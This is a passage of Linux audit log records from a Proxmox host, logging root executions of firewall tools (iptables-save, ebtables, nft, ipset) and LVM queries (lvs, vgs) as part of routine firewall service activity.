auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455184,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965455.184:65696): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966194203,"@rawstring":"node=pve type=PATH msg=audit(1781966194.203:68825): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964720397,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964720.397:62302): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59751 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455182,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965455.182:65695): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966194203,"@rawstring":"node=pve type=PATH msg=audit(1781966194.203:68825): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715816,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964715.816:62299): arch=c000003e syscall=59 success=yes exit=0 a0=5f98fe60fb20 a1=5f98fe61b9f0 a2=5f98fe5e9680 a3=5 items=2 ppid=59744 pid=59750 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455178,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965455.178:65694): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966194172,"@rawstring":"node=pve type=PATH msg=audit(1781966194.172:68824): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715813,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964715.813:62298): arch=c000003e syscall=59 success=yes exit=0 a0=5f98ee070ac8 a1=7ffdac4530d0 a2=5f98fe5e9680 a3=5f98ee05424e items=2 ppid=59744 pid=59746 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455171,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965455.171:65693): proctitle=\"ip6tables-save\""} {"@timestamp":1781966194172,"@rawstring":"node=pve type=PATH msg=audit(1781966194.172:68824): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715812,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964715.812:62297): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdac453090 a1=5f98fe60b1c0 a2=5f98fe5e9680 a3=5 items=2 ppid=59744 pid=59745 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455163,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965455.163:65692): proctitle=\"iptables-save\""} {"@timestamp":1781966190741,"@rawstring":"node=pve type=PATH msg=audit(1781966190.741:68823): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715808,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964715.808:62295): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59744 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455159,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965455.159:65691): proctitle=\"ip6tables-save\""} {"@timestamp":1781966190741,"@rawstring":"node=pve type=PATH msg=audit(1781966190.741:68823): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715802,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964715.802:62294): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59743 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455151,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965455.151:65690): proctitle=\"iptables-save\""} {"@timestamp":1781966190741,"@rawstring":"node=pve type=PATH msg=audit(1781966190.741:68822): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715796,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964715.796:62293): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59742 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455147,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965455.147:65689): proctitle=\"ebtables-restore\""} {"@timestamp":1781966190741,"@rawstring":"node=pve type=PATH msg=audit(1781966190.741:68821): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715789,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964715.789:62292): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59741 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455145,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965455.145:65688): proctitle=\"ebtables-restore\""} {"@timestamp":1781966190732,"@rawstring":"node=pve type=PATH msg=audit(1781966190.732:68820): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715782,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964715.782:62291): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59740 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965455139,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965455.139:65687): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966190732,"@rawstring":"node=pve type=PATH msg=audit(1781966190.732:68820): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715780,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964715.780:62290): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=6540ee255740 items=0 ppid=1156 pid=59739 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966190732,"@rawstring":"node=pve type=PATH msg=audit(1781966190.732:68819): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965455133,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965455.133:65686): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964715777,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964715.777:62289): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0ec9d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59739 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966190731,"@rawstring":"node=pve type=PATH msg=audit(1781966190.731:68818): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965455125,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965455.125:65685): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964715773,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964715.773:62288): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ec870 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59738 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185725,"@rawstring":"node=pve type=PATH msg=audit(1781966185.725:68817): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965455120,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965455.120:65684): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964715768,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964715.768:62287): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f49c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59737 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185725,"@rawstring":"node=pve type=PATH msg=audit(1781966185.725:68817): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965455114,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965455.114:65683): proctitle=697073657400726573746F7265"} {"@timestamp":1781964715763,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964715.763:62286): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc140300 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59736 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185725,"@rawstring":"node=pve type=PATH msg=audit(1781966185.725:68816): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965455106,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965455.106:65682): proctitle=\"ip6tables-save\""} {"@timestamp":1781964715758,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964715.758:62285): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f49c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59735 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185725,"@rawstring":"node=pve type=PATH msg=audit(1781966185.725:68815): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965455094,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965455.094:65681): proctitle=\"iptables-save\""} {"@timestamp":1781964715753,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964715.753:62284): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b51ff0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59734 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185720,"@rawstring":"node=pve type=PATH msg=audit(1781966185.720:68814): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965455089,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965455.089:65680): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964715747,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964715.747:62283): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59733 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185720,"@rawstring":"node=pve type=PATH msg=audit(1781966185.720:68814): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965455086,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965455.086:65679): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964715741,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964715.741:62282): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59732 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185720,"@rawstring":"node=pve type=PATH msg=audit(1781966185.720:68813): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965455084,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965455.084:65678): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964715738,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964715.738:62281): arch=c000003e syscall=59 success=yes exit=0 a0=557eca37dd70 a1=557eca389b30 a2=557eca357680 a3=5 items=2 ppid=59725 pid=59731 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185720,"@rawstring":"node=pve type=PATH msg=audit(1781966185.720:68812): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965455084,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965455.084:65677): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964715735,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964715.735:62280): arch=c000003e syscall=59 success=yes exit=0 a0=557eb40aaac8 a1=7ffe3e93f950 a2=557eca357680 a3=557eb408e24e items=2 ppid=59725 pid=59727 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185450,"@rawstring":"node=pve type=PATH msg=audit(1781966185.450:68811): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965455079,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965455.079:65676): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964715735,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964715.735:62279): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe3e93f910 a1=557eca379410 a2=557eca357680 a3=5 items=2 ppid=59725 pid=59726 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185450,"@rawstring":"node=pve type=PATH msg=audit(1781966185.450:68811): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965455071,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965455.071:65675): proctitle=\"ip6tables-save\""} {"@timestamp":1781964715730,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964715.730:62277): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59725 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185448,"@rawstring":"node=pve type=PATH msg=audit(1781966185.448:68810): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965455062,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965455.062:65674): proctitle=\"iptables-save\""} {"@timestamp":1781964715724,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964715.724:62276): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59724 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185448,"@rawstring":"node=pve type=PATH msg=audit(1781966185.448:68810): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965455056,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965455.056:65673): proctitle=69707365740073617665"} {"@timestamp":1781964715718,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964715.718:62275): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59723 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185446,"@rawstring":"node=pve type=PATH msg=audit(1781966185.446:68809): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965455047,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965455.047:65672): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964715714,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964715.714:62274): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0c7400 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59722 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185446,"@rawstring":"node=pve type=PATH msg=audit(1781966185.446:68809): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965455039,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965455.039:65671): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964715707,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964715.707:62273): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f5380 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59721 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185446,"@rawstring":"node=pve type=PATH msg=audit(1781966185.446:68808): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965454590,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965454.590:65670): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964715701,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964715.701:62272): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13bcf0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59720 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185442,"@rawstring":"node=pve type=PATH msg=audit(1781966185.442:68807): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965454567,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965454.567:65669): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964715388,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964715.388:62271): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59719 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185442,"@rawstring":"node=pve type=PATH msg=audit(1781966185.442:68807): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965453054,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965453.054:65668): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964715381,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964715.381:62268): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59718 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185442,"@rawstring":"node=pve type=PATH msg=audit(1781966185.442:68807): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965453054,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965453.054:65667): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964714082,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964714.082:62265): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73af880 a1=64f8d73daea0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59715 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185434,"@rawstring":"node=pve type=PATH msg=audit(1781966185.434:68806): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965453054,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965453.054:65666): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964714052,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964714.052:62264): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b01a0 